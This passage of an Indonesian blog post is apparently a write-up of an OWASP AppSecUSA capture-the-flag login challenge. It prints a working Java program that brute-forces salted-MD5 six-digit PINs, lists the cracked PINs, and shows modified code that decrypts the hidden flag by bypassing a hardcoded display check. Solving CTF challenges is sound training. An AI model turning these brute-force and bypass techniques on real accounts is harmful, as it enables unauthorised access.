Class yang bertanggung jawab melakukan otentikasi adalah org.owasp.appsecusa.capturetheflag.loginchallenge.Authenticator khususnya pada method authenticate().
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">boolean</span> authenticate<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> username, <span style="color: #003399;">String</span> pin<span style="color: #009900;">&#41;</span>
    <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>username <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">usersIds</span>.<span style="color: #006633;">containsKey</span><span style="color: #009900;">&#40;</span>username<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">false</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">calculator</span>.<span style="color: #006633;">compare</span><span style="color: #009900;">&#40;</span>pin, <span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#41;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">usersIds</span>.<span style="color: #006633;">get</span><span style="color: #009900;">&#40;</span>username<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dalam method authenticate() memakai method compare() dari class MD5HashCalculator.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getHash<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text<span style="color: #009900;">&#41;</span>
    <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">try</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">MessageDigest</span> m <span style="color: #339933;">=</span> <span style="color: #003399;">MessageDigest</span>.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MD5&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span>text.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, text.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> digest <span style="color: #339933;">=</span> m.<span style="color: #006633;">digest</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">BigInteger</span> bigInt <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BigInteger</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span>, digest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">String</span> hashtext <span style="color: #339933;">=</span> bigInt.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>hashtext.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">32</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        hashtext <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0&quot;</span> <span style="color: #339933;">+</span> hashtext<span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000000; font-weight: bold;">return</span> hashtext<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">NoSuchAlgorithmException</span> ex<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> EncryptionException<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failed to digest:&quot;</span> <span style="color: #339933;">+</span> ex.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, ex<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">boolean</span> compare<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text, <span style="color: #003399;">String</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">return</span> getHash<span style="color: #009900;">&#40;</span>text<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>hash<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dari potongan kode di atas terjawab bagaimana password disimpan. Password disimpan memang dalam MD5, tapi sudah diberi salt string:&#8221;BuildYourOwnRainbow-AppSecUSA:&#8221;, ini sebabnya john the ripper tidak berhasil meng-crack.
</p>
<p><b>Brute forcing PIN</b></p>
<p align="justify">
Karena kita sudah mengetahui bagaimana otentikasi dilakukan (MD5+salt) maka kita bisa meminjam code di atas dan memodifikasinya untuk melakukan brute force. Karena PIN adalah 6 digit, maka kita bisa melakukan brute force dari 100000 sampai 999999.
</p>
<p align="justify">
Kita hanya menambahkan method main yang melakukan looping dari 100.000 sampai < 1.000.000 dan memanfaatkan method compare getHash() dan compare() yang sama tanpa modifikasi.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.math.BigInteger</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.security.MessageDigest</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.security.NoSuchAlgorithmException</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> md5
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> args<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>	
	<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> i <span style="color: #339933;">=</span> <span style="color: #cc66cc;">100000</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">1000000</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">String</span> text <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">+</span>i<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">boolean</span> match <span style="color: #339933;">=</span> compare<span style="color: #009900;">&#40;</span>text,<span style="color: #0000ff;">&quot;b2512d38c5702ce5108585d3c730f657&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>match<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MATCH nih, Moe:&quot;</span><span style="color: #339933;">+</span>text<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #003399;">String</span> getHash<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">try</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">MessageDigest</span> m <span style="color: #339933;">=</span> <span style="color: #003399;">MessageDigest</span>.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MD5&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span>text.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, text.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> digest <span style="color: #339933;">=</span> m.<span style="color: #006633;">digest</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">BigInteger</span> bigInt <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BigInteger</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span>, digest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">String</span> hashtext <span style="color: #339933;">=</span> bigInt.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>hashtext.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">32</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        hashtext <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0&quot;</span> <span style="color: #339933;">+</span> hashtext<span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000000; font-weight: bold;">return</span> hashtext<span style="color: #339933;">;</span> 
	<span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">Exception</span> ex<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
		<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failed to digest:&quot;</span> <span style="color: #339933;">+</span> ex.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">boolean</span> compare<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text, <span style="color: #003399;">String</span> hash<span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">return</span> getHash<span style="color: #009900;">&#40;</span>text<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>hash<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>
Setelah dicompile dan dijalankan kita berhasil mendapatkan PIN 3 user tersebut dalam waktu yang sangat singkat hanya 1-3 menit untuk mendapatkan pin tiap user. PIN Larry adalah 894331. PIN Curly adalah 275446. PIN Moe adalah 495823.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf5.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf5.jpg" alt="" title="ctf5" width="387" height="199" class="aligncenter size-full wp-image-2609" /></a></p>
<p><b>Moe&#8217;s Flag</b></p>
<p align="justify">
Dengan mengetahui PIN dari 3 user tersebut, saya mencoba login. Dari ketiga user tersebut hanya Moe yang mengandung Flag. Berikut tampilan ketika Moe login.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf6.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf6.jpg" alt="" title="ctf6" width="478" height="300" class="aligncenter size-full wp-image-2615" /></a></p>
<p align="justify">
Ups, ternyata kita mendapatkan pesan:
</p>
<blockquote><p>
&#8220;There is an encrypted flag stored for this user! I am able to decrypt it using your information but, unfortunatly, I cannot share it with you as the displayFlay variable is set to false. That&#8217;s about all I can tell you. Good Luck&#8221;
</p></blockquote>
<p align="justify">
Ternyata kita tidak bisa langsung mendapatkan flag, masih ada satu barrier lagi yang harus kita lewati. Mari kita korek lagi source codenya untuk mencari variable displayFlay.
</p>
<p><b>Displaying Flag</b></p>
<p align="justify">
Dalam class org.owasp.appsecusa.capturetheflag.loginchallenge.Login ada method displayFlag() yang fungsinya menampilkan flag.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">void</span> displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">Boolean</span> displayFlag<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">IOException</span>, EncryptionException <span style="color: #009900;">&#123;</span>
    BASE64Decoder de <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> BASE64Decoder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    AES128Encryptor instance <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AES128Encryptor<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">InputStream</span> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>de.<span style="color: #006633;">decodeBuffer</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">encodedData</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    instance.<span style="color: #006633;">decrypt</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">pin</span>.<span style="color: #006633;">getText</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, in, out<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ByteArrayInputStream</span> flagData <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>out.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">BufferedImage</span> image <span style="color: #339933;">=</span> ImageIO.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>flagData<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ImageIcon</span> icon <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ImageIcon</span><span style="color: #009900;">&#40;</span>image, <span style="color: #0000ff;">&quot;Our precious flag.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>displayFlag.<span style="color: #006633;">booleanValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">loginResponseLabel</span>.<span style="color: #006633;">setIcon</span><span style="color: #009900;">&#40;</span>icon<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">else</span>
      <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">response_label</span>.<span style="color: #006633;">setText</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;There is an encrypted flag stored for this user!<span style="color: #000099; font-weight: bold;">\n</span>I am able to decrypt it using your information<span style="color: #000099; font-weight: bold;">\n</span>but, unfortunatly, I cannot share it with you as the<span style="color: #000099; font-weight: bold;">\n</span>displayFlay variable is set to false.<span style="color: #000099; font-weight: bold;">\n</span>That's about all I can tell you. Good Luck!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dalam method di atas terlihat bahwa flag berupa image dienkrip dengan AES 128 bit dengan PIN sebagai kuncinya. Masalahnya ada pada baris ke-10, bila method displayFlag dipanggil dengan parameter boolean false, maka akan flag tidak akan ditampilkan.
</p>
<p align="justify">
displayFlag() ini dipanggil dalam actionPerformed() masih di class yang sama. Berikut adalah potongan kode dalam actionPerformed() yang memanggil displayFlag().
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">          <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">dataTest</span>.<span style="color: #006633;">booleanValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
            displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">Boolean</span>.<span style="color: #006633;">valueOf</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000000; font-weight: bold;">else</span>
            <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">response_label</span>.<span style="color: #006633;">setText</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;There are no encrypted flags stored for this user.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Potongan kode di atas menunjukkan bahwa displayFlag() dipanggil dengan parameter false, akibatnya flag tidak akan muncul. Parameter false ini sudah dibuat static hardcoded dalam source codenya, jadi dalam kondisi apapun akan tetap false. Karena dibuat static dan hardcoded, tidak ada cara lain untuk membuatnya menjadi true tanpa mengubah program.
</p>
<p><b>Capturing the Flag</b></p>
<p align="justify">
Kita bisa saja mengubah source code class tersebut dan mengubah &#8220;displayFlag(Boolean.valueOf(false))&#8221; menjadi &#8220;displayFlag(Boolean.valueOf(true))&#8221; lalu meng-compile dan menjalankan program tersebut. Tapi saya memilih untuk mengubahnya menjadi program kecil di console (bukan Applet), hanya untuk menyimpan flag ke dalam file PNG.
</p>
<p align="justify">
Berikut adalah potongan kode untuk men-dekrip dan menyimpan flag ke dalam file flag.png. Kode tersebut diambil dari kode aslinya dengan sedikit modifikasi unutuk menyimpan flag ke dalam file.
</p>
<p align="justify">
Bila anda ingin mencoba sendiri, source code lengkap untuk mendapatkan flag bisa didownload di: <a href='http://www.ilmuhacking.com/wp-content/uploads/2011/07/Capture1.zip'>Capture.zip</a>, anda hanya perlu melakukan &#8216;javac ParseXML.java&#8217; kemudian &#8216;java ParseXML&#8217; untuk mendapatkan flag.png.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ParseXML
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> LoginUsers parseXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">String</span> resourceName <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Data.xml&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">Reader</span> reader <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BufferedReader</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">InputStreamReader</span><span style="color: #009900;">&#40;</span>ParseXML.<span style="color: #000000; font-weight: bold;">class</span>.<span style="color: #006633;">getClassLoader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getResourceAsStream</span><span style="color: #009900;">&#40;</span>resourceName<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		JAXBContext jc <span style="color: #339933;">=</span> JAXBContext.<span style="color: #006633;">newInstance</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000000; font-weight: bold;">Class</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span> LoginUsers.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		Unmarshaller um <span style="color: #339933;">=</span> jc.<span style="color: #006633;">createUnmarshaller</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #009900;">&#40;</span>LoginUsers<span style="color: #009900;">&#41;</span>um.<span style="color: #006633;">unmarshal</span><span style="color: #009900;">&#40;</span>reader<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> encodedData<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span> <span style="color: #009900;">&#123;</span>
		AES128Encryptor instance <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AES128Encryptor<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">InputStream</span> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>decode<span style="color: #009900;">&#40;</span>encodedData<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		instance.<span style="color: #006633;">decrypt</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;495823&quot;</span>, in, out<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">ByteArrayInputStream</span> flagData <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>out.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">BufferedImage</span> image <span style="color: #339933;">=</span> ImageIO.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>flagData<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>		
&nbsp;
		<span style="color: #003399;">String</span> fname <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;flag.png&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">File</span> file <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">File</span><span style="color: #009900;">&#40;</span>fname<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		ImageIO.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>image,<span style="color: #0000ff;">&quot;png&quot;</span>,file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>				
		<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Decrypted and Saved to &quot;</span><span style="color: #339933;">+</span>fname<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Ketika file tersebut dijalankan akan membuat sebuah file bernama flag.png. Berikut adalah tampilan ketika class ini dijalankan dari command prompt.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf7.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf7.jpg" alt="" title="ctf7" width="437" height="198" class="aligncenter size-full wp-image-2630" /></a></p>
<p align="justify">
Flag.png adalah QR barcode yang mengandung teks. Untuk membaca isi teks dari barcode tersebut saya memakai layanan barcode reader online.
